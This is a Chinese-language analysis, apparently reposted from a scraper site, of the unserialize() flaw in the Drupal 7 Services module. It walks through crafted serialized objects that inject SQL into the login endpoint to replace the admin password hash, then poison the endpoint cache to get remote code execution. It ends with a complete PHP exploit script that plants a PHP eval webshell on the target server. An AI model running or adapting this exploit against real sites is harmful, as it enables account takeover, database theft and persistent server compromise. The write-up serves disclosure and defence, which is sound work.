Drupal 7.x Service模塊SQLi & RCE 漏洞分析

Drupal 7.x Service模塊SQLi & RCE 漏洞分析

  在審計Drupal的Service模塊的時候,檢測到對 unserialize()函數的一次不安全調用。經過該漏洞,能夠致使權限逃逸、SQL注入以及遠程代碼執行。php

0x00 Service 模塊

  在Drupal中,Service模塊提供了API,開放了一些服務接口給外部程序。做爲基礎功能,容許任何人使用SOAP、REST或者XMLRPC向服務端發送、獲取多種格式的數據。該模塊在Drupal前150個最經常使用的模塊之中,大約有45000個站點在使用該模塊。
  Service模塊容許建立不一樣的endpoint,而且對不一樣的endpoint設置不一樣的resource。容許經過自定義的API與Web站點進行數據交互。例如,對於/user/login不只能夠經過JSON也能夠經過XML進行訪問。
請求包:node

POST /drupal-7.54/my_rest_endpoint/user/login HTTP/1.1
Host: vmweb.lan
Accept: application/json
Content-Type: application/jsonContent-Length: 45Connection: close

{"username": "admin", "password": "password"}

響應包:web

HTTP/1.1 200 OK
Date: Thu, 02 Mar 2017 13:58:02 GMT
Server: Apache/2.4.18 (Ubuntu)
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
X-Content-Type-Options: nosniff
Vary: Accept
Set-Cookie: SESSaad41d4de9fd30ccb65f8ea9e4162d52=AmKl694c3hR6tqSXXwSKC2m4v9gd-jqnu7zIdpcTGVw;expires=Sat, 25-Mar-2017 17:31:22 GMT; Max-Age=2000000; path=/; domain=.vmweb.lan; HttpOnly
Content-Length: 635
Connection: close
Content-Type: application/json

{"sessid":"AmKl694c3hR6tqSXXwSKC2m4v9gd-jqnu7zIdpcTGVw","session_name":"SESSaad41d4de9fd30ccb65f8ea9e4162d52","token":"8TSDrnyPQ3J9VI8G1dtNwc6BAQ_ORp3Ok_VSrdKht00","user":{"uid":"1","name":"admin","mail":"admin@vmweb.lan","theme":"","signature":"","signature_format":null,"created":"1487348324","access":"1488463053","login":1488463082,"status":"1","timezone":"Europe/Berlin","language":"","picture":null,"init":"admin@vmweb.lan","data":false,"roles":{"2":"authenticated user","3":"administrator"},"rdf_mapping":{"rdftype":["sioc:UserAccount"],"name":{"predicates":["foaf:name"]},"homepage":{"predicates":["foaf:page"],"type":"rel"}}}}

0x01 Vulnerability

  Service模塊有個屬性,能夠經過改變Http頭中的 Content-Type/Accept字段,實現對輸入輸出格式的控制。默認狀況下,容許如下格式:sql

  • application/xml
  • application/json
  • multipart/form-data
  • application/vnd.php.serialized

  對於大多數人來講,最後一種格式並不常見。即,使用PHP序列化數據,測試以下:shell

請求包:數據庫

POST /drupal-7.54/my_rest_endpoint/user/login HTTP/1.1
Host: vmweb.lan
Accept: application/json
Content-Type: application/vnd.php.serialized
Content-Length: 45
Connection: close

a:2:{s:8:"username";s:5:"admin";s:8:"password";s:8:"password";}

響應包:json

HTTP/1.1 200 OK
Date: Thu, 02 Mar 2017 14:29:54 GMT
Server: Apache/2.4.18 (Ubuntu)
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
X-Content-Type-Options: nosniff
Vary: Accept
Set-Cookie: SESSaad41d4de9fd30ccb65f8ea9e4162d52=ufBRP7UJFuQKSf0VuFvwaoB3h4mjVYXbE9K6Y_DGU_I; expires=Sat, 25-Mar-2017 18:03:14 GMT; Max-Age=2000000; path=/; domain=.vmweb.lan; HttpOnly
Content-Length: 635
Connection: close
Content-Type: application/json

{"sessid":"ufBRP7UJFuQKSf0VuFvwaoB3h4mjVYXbE9K6Y_DGU_I","session_name":"SESSaad41d4de9fd30ccb65f8ea9e4162d52","token":"2tFysvDt1POl7jjJJSCRO7sL1rvlrnqtrik6gljggo4","user":{"uid":"1","name":"admin","mail":"admin@vmweb.lan","theme":"","signature":"","signature_format":null,"created":"1487348324","access":"1488464867","login":1488464994,"status":"1","timezone":"Europe/Berlin","language":"","picture":null,"init":"admin@vmweb.lan","data":false,"roles":{"2":"authenticated user","3":"administrator"},"rdf_mapping":{"rdftype":["sioc:UserAccount"],"name":{"predicates":["foaf:name"]},"homepage":{"predicates":["foaf:page"],"type":"rel"}}}}

  查看源碼,確實存在一個很隱蔽的反序列化漏洞。(services/servers/rest_server/includes/ServicesParser.inc)api

<?php

function rest_server_request_parsers() {
    static $parsers = NULL;
    if (!$parsers) {
        $parsers = array(
            'application/x-www-form-urlencoded' => 'ServicesParserURLEncoded',
            'application/json' => 'ServicesParserJSON',
            'application/vnd.php.serialized' => 'ServicesParserPHP',
            'multipart/form-data' => 'ServicesParserMultipart',
            'application/xml' => 'ServicesParserXML',
            'text/xml' => 'ServicesParserXML',
        ); 
    }
}

class ServicesParserPHP implements ServicesParserInterface {
    public function parse(ServicesContextInterface $context) {
        return unserialize($context->getRequestBody());  
    }
}

如何利用呢?緩存

0x02 Exploitation

  Drupal缺少一款簡單易用的反序列化小工具。一般狀況下,service模塊中存在大量的endpoint,它們都具有利用序列化數據與服務器交互的能力,這就使得他們都有可能成爲潛在的攻擊點。好比,經過用戶提交的序列化數據進行SQL注入,並將結果回顯在頁面中,等等...安全

  雖然/user/login是最常調用的endpoint之一, 本文主要實現針對這個endpoint的SQL注入攻擊。在PHP反序列化啓用的前提下,經過精心構造,甚至能夠實現RCE攻擊。

2.1 SQL注入

  /user/login的主要的功能是實現認證。爲實現這個目的,Drupal利用內部API,經過用戶名在數據庫中查找對應的密碼哈希值,並將此值與用戶輸入的密碼進行比較。這就代表,咱們輸入的用戶名會被構形成sql語句,經過Drupal內部的數據庫API來執行。調用過程與下面的代碼很是相似:

<?php

$user = db_select('users', 'base')                 # Table: users Alias: base   
    ->fields('base', array('uid', 'name', ...))    # Select every field
    ->condition('base.name', $username)            # Match the username
    ->execute();                                  # Build and run the query

  對於反序列化漏洞,通常狀況下,系統的崩潰是因爲內部實現時存在bug,而不是經過提交常規的輸入數據致使的。一般狀況下API提供進行子查詢的功能,在Drupal中經過 SelectQueryInterface來實現。

<?php

class DatabaseCondition implements QueryConditionInterface, Countable {

    public function compile(DatabaseConnection $connection, QueryPlaceholderInterface $queryPlaceholder) {             

        if ($condition['value'] instanceof SelectQueryInterface) {
            $condition['value']->compile(connection, $queryPlaceholder);
            $placeholders[] = (string) condition['value'];
            $arguments += condition['value']->arguments();
            // Subqueries are the actual value of the operator, we don't
            // need to add another below.
            $operator['use_value'] = FALSE;
        }  
    }
}

  如代碼所示,在查詢以前,查詢語句未被檢查,所以極有可能存在SQL注入。爲了成功利用,用戶輸入的 $username:必須知足如下條件:

  • 成功執行 SelectQueryInterface
  • 成功執行 compile()
  • 輸入的string可控

  SelectQueryExtender是 SelectQueryInterface中僅有的兩個對象(include/database/select.inc)。SelectQueryExtender對標準SelectQuery 對象進行了封裝,其中的屬性 $query 包含着以前提到的對象。當調用 compile()和 __toString()時,基類中的方法同時被調用。

<?php

class SelectQueryExtender implements SelectQueryInterface {

    /**    * The SelectQuery object we are extending/decorating.    *    * @var SelectQueryInterface    */
    # Note: Although this expects a SelectQueryInterface, this is never enforced
    protected $query;

    public function __toString() {
        return (string) $this->query;
    }

    public function compile(DatabaseConnection $connection, QueryPlaceholderInterface $queryPlaceholder) {
        return this->query->compile(connection, $queryPlaceholder);  
    }
}

  因此能夠將這個類做爲一個「代理」,實現與其餘類之間的交互。這就使得咱們知足了第一個條件。
  後兩個條件,在DatabaseCondition這個對象中被知足(includes/database/query.inc )。處於性能的考慮,其中有個屬性 stringVersion,在調用過compile以後依然包含以前的string表達式。

<?php

class DatabaseCondition implements QueryConditionInterface, Countable {
    protected $changed = TRUE;
    protected $queryPlaceholderIdentifier;

    public function compile(DatabaseConnection $connection, QueryPlaceholderInterface $queryPlaceholder) {
        // Re-compile if this condition changed or if we are compiled against a
        // different query placeholder object.
        if (this->changed || isset(this->queryPlaceholderIdentifier) && (this->queryPlaceholderIdentifier != queryPlaceholder->uniqueIdentifier())) {
            $this->changed = FALSE;
            this->stringVersion = implode(conjunction, $condition_fragments);
        }
    }

    public function __toString() {
        // If the caller forgot to call compile() first, refuse to run.
        if ($this->changed) {
            return NULL;
        }
        return $this->stringVersion;  
    }
}

  至此,觸發SQL注入的條件都已經知足。最有效的利用方式就是,經過UNION查詢將管理員的密碼哈希值替換爲咱們本身的哈希值,實現成功登陸。

# Original Query
SELECT
..., base.name AS name, base.pass AS pass, base.mail AS mail, ...
FROM
{users}
WHERE
(name =
 # Injection starts here
 0x3a)
UNION SELECT
..., base.name AS name, '$S$DfX8LqsscnDutk1tdqSXgbBTqAkxjKMSWIfCa7jOOvutmnXKUMp0' AS pass, base.mail AS mail, ...
FROM
{users}
ORDER BY (uid
# Injection ends here
);

  也能夠將數據庫中的原有數據存放在其餘字段中,好比,將管理員的簽名替換爲原始哈希值。

1.png

  成功以管理員帳號登陸,而且能夠查看數據庫中的任何數據。

2.2 Remote Code Eexcution2.2 Remote Code Eexcution

  Drupal擁有一張緩存表,存儲着序列化數據。Service模塊也有兩張表,存儲着每個endpoint、資源列表、所須要的參數、以及所調用的函數。

2.png

  事實上,修改cache表,可使模塊調用任意PHP函數,這將會對系統產生巨大的影響。很幸運, DrupalCacheArray類恰好能實現以上功能。接下來的攻擊就很簡單了。

3.png

  • 修改services_endpoint表中‘login’對應的resource字段,改成在服務器任意位置寫入文件
  • 訪問/user/login,建立後門
  • 恢復原有數據

  爲了避免破壞endpoint,首先使用SQL注入獲取原始數據,並僅修改特定字段。經過file_put_contents()成功建立後門以後,即恢復原始數據。

0x03 建議

  因爲該漏洞的成功利用,須要知道endpoint的全路徑,因此必定程度上減輕了危害。但 "application/vnd.php.serialized"默認狀況下是開啓的,因此在不使用的狀況下,建議關閉該選項。

4.png

0x04 EXP

#!/usr/bin/php<?php# Drupal Services Module Remote Code Execution Exploit# https://www.ambionics.io/blog/drupal-services-module-rce# cf## Three stages:# 1. Use the SQL Injection to get the contents of the cache for current endpoint#    along with admin credentials and hash# 2. Alter the cache to allow us to write a file and do so# 3. Restore the cache#

# Initialization

error_reporting(E_ALL);

define('QID', 'anything');define('TYPE_PHP', 'application/vnd.php.serialized');define('TYPE_JSON', 'application/json');define('CONTROLLER', 'user');define('ACTION', 'login');

$url = 'http://vmweb.lan/drupal-7.54';$endpoint_path = '/rest_endpoint';$endpoint = 'rest_endpoint';

$file = [
    'filename' => 'dixuSOspsOUU.php',
    'data' => '<?php eval(file_get_contents(\'php://input\')); ?>'];

$browser = new Browser($url . $endpoint_path);


# Stage 1: SQL Injection

class DatabaseCondition{
    protected $conditions = [
        "#conjunction" => "AND"
    ];
    protected $arguments = [];
    protected $changed = false;
    protected $queryPlaceholderIdentifier = null;
    public $stringVersion = null;

    public function __construct($stringVersion=null)
    {
        $this->stringVersion = $stringVersion;

        if(!isset($stringVersion))
        {
            $this->changed = true;
            $this->stringVersion = null;
        }
    }
}

class SelectQueryExtender {
    # Contains a DatabaseCondition object instead of a SelectQueryInterface
    # so that $query->compile() exists and (string) $query is controlled by us.
    protected $query = null;

    protected $uniqueIdentifier = QID;
    protected $connection;
    protected $placeholder = 0;

    public function __construct($sql)
    {
        $this->query = new DatabaseCondition($sql);
    }
}

$cache_id = "services:$endpoint:resources";$sql_cache = "SELECT data FROM {cache} WHERE cid='$cache_id'";$password_hash ='$S$D2NH.6IZNb1vbZEV1F0S9fqIz3A0Y1xueKznB8vWrMsnV/nrTpnd';

# Take first user but with a custom password# Store the original password hash in signature_format, and endpoint cache# in signature$query =
    "0x3a) UNION SELECT ux.uid AS uid, " .
    "ux.name AS name, '$password_hash' AS pass, " .
    "ux.mail AS mail, ux.theme AS theme, ($sql_cache) AS signature, " .
    "ux.pass AS signature_format, ux.created AS created, " .
    "ux.access AS access, ux.login AS login, ux.status AS status, " .
    "ux.timezone AS timezone, ux.language AS language, ux.picture " .
    "AS picture, ux.init AS init, ux.data AS data FROM {users} ux " .
    "WHERE ux.uid<>(0";

$query = new SelectQueryExtender($query);$data = ['username' => $query, 'password' => 'ouvreboite'];$data = serialize($data);

$json = $browser->post(TYPE_PHP, $data);

# If this worked, the rest will as wellif(!isset($json->user)){
    print_r($json);
    e("Failed to login with fake password");
}

# Store session and user data

$session = [
    'session_name' => $json->session_name,
    'session_id' => $json->sessid,
    'token' => $json->token];store('session', $session);

$user = $json->user;

# Unserialize the cached value# Note: Drupal websites admins, this is your opportunity to fight back :)$cache = unserialize($user->signature);

# Reassign fields$user->pass = $user->signature_format;unset($user->signature);unset($user->signature_format);

store('user', $user);

if($cache === false){
    e("Unable to obtains endpoint's cache value");
}

x("Cache contains " . sizeof($cache) . " entries");

# Stage 2: Change endpoint's behaviour to write a shell

class DrupalCacheArray{
    # Cache ID
    protected $cid = "services:endpoint_name:resources";
    # Name of the table to fetch data from.
    # Can also be used to SQL inject in DrupalDatabaseCache::getMultiple()
    protected $bin = 'cache';
    protected $keysToPersist = [];
    protected $storage = [];

    function __construct($storage, $endpoint, $controller, $action) {
        $settings = [
            'services' => ['resource_api_version' => '1.0']
        ];
        $this->cid = "services:$endpoint:resources";

        # If no endpoint is given, just reset the original values
        if(isset($controller))
        {
            $storage[$controller]['actions'][$action] = [
                'help' => 'Writes data to a file',
                # Callback function
                'callback' => 'file_put_contents',
                # This one does not accept "true" as Drupal does,
                # so we just go for a tautology
                'access callback' => 'is_string',
                'access arguments' => ['a string'],
                # Arguments given through POST
                'args' => [
                    0 => [
                        'name' => 'filename',
                        'type' => 'string',
                        'description' => 'Path to the file',
                        'source' => ['data' => 'filename'],
                        'optional' => false,
                    ],
                    1 => [
                        'name' => 'data',
                        'type' => 'string',
                        'description' => 'The data to write',
                        'source' => ['data' => 'data'],
                        'optional' => false,
                    ],
                ],
                'file' => [
                    'type' => 'inc',
                    'module' => 'services',
                    'name' => 'resources/user_resource',
                ],
                'endpoint' => $settings
            ];
            $storage[$controller]['endpoint']['actions'] += [
                $action => [
                    'enabled' => 1,
                    'settings' => $settings
                ]
            ];
        }

        $this->storage = $storage;
        $this->keysToPersist = array_fill_keys(array_keys($storage), true);
    }
}

class ThemeRegistry Extends DrupalCacheArray {
    protected $persistable;
    protected $completeRegistry;
}

cache_poison($endpoint, $cache);

# Write the file$json = (array) $browser->post(TYPE_JSON, json_encode($file));


# Stage 3: Restore endpoint's behaviour

cache_reset($endpoint, $cache);

if(!(isset($json[0]) && $json[0] === strlen($file['data']))){
    e("Failed to write file.");
}

$file_url = $url . '/' . $file['filename'];x("File written: $file_url");

# HTTP Browser
class Browser{
    private $url;
    private $controller = CONTROLLER;
    private $action = ACTION;

    function __construct($url)
    {
        $this->url = $url;
    }

    function post($type, $data)
    {
        $headers = [
            "Accept: " . TYPE_JSON,
            "Content-Type: $type",
            "Content-Length: " . strlen($data)
        ];
        $url = $this->url . '/' . $this->controller . '/' . $this->action;

        $s = curl_init();
        curl_setopt($s, CURLOPT_URL, $url);
        curl_setopt($s, CURLOPT_HTTPHEADER, $headers);
        curl_setopt($s, CURLOPT_POST, 1);
        curl_setopt($s, CURLOPT_POSTFIELDS, $data);
        curl_setopt($s, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($s, CURLOPT_SSL_VERIFYHOST, 0);
        curl_setopt($s, CURLOPT_SSL_VERIFYPEER, 0);
        $output = curl_exec($s);
        $error = curl_error($s);
        curl_close($s);

        if($error)
        {
            e("cURL: $error");
        }

        return json_decode($output);
    }
}

# Cache

function cache_poison($endpoint, $cache){
    $tr = new ThemeRegistry($cache, $endpoint, CONTROLLER, ACTION);
    cache_edit($tr);
}

function cache_reset($endpoint, $cache){
    $tr = new ThemeRegistry($cache, $endpoint, null, null);
    cache_edit($tr);
}

function cache_edit($tr){
    global $browser;
    $data = serialize([$tr]);
    $json = $browser->post(TYPE_PHP, $data);
}

# Utils

function x($message){
    print("$message\n");
}

function e($message){
    x($message);
    exit(1);
}

function store($name, $data){
    $filename = "$name.json";
    file_put_contents($filename, json_encode($data, JSON_PRETTY_PRINT));
    x("Stored $name information in $filename");
}

0x05 附錄

Drupal 安裝模塊時遇到的FTP問題

Drupal 7的Service模塊及其API

Service模塊中文社區

Services Project

Services - Highly Critical - Arbitrary Code Execution - SA-CONTRIB-2017-029

OAuth2.0

PHP反序列化

Drupal Vulnerability Details & Exploitation

相關文章
相關標籤/搜索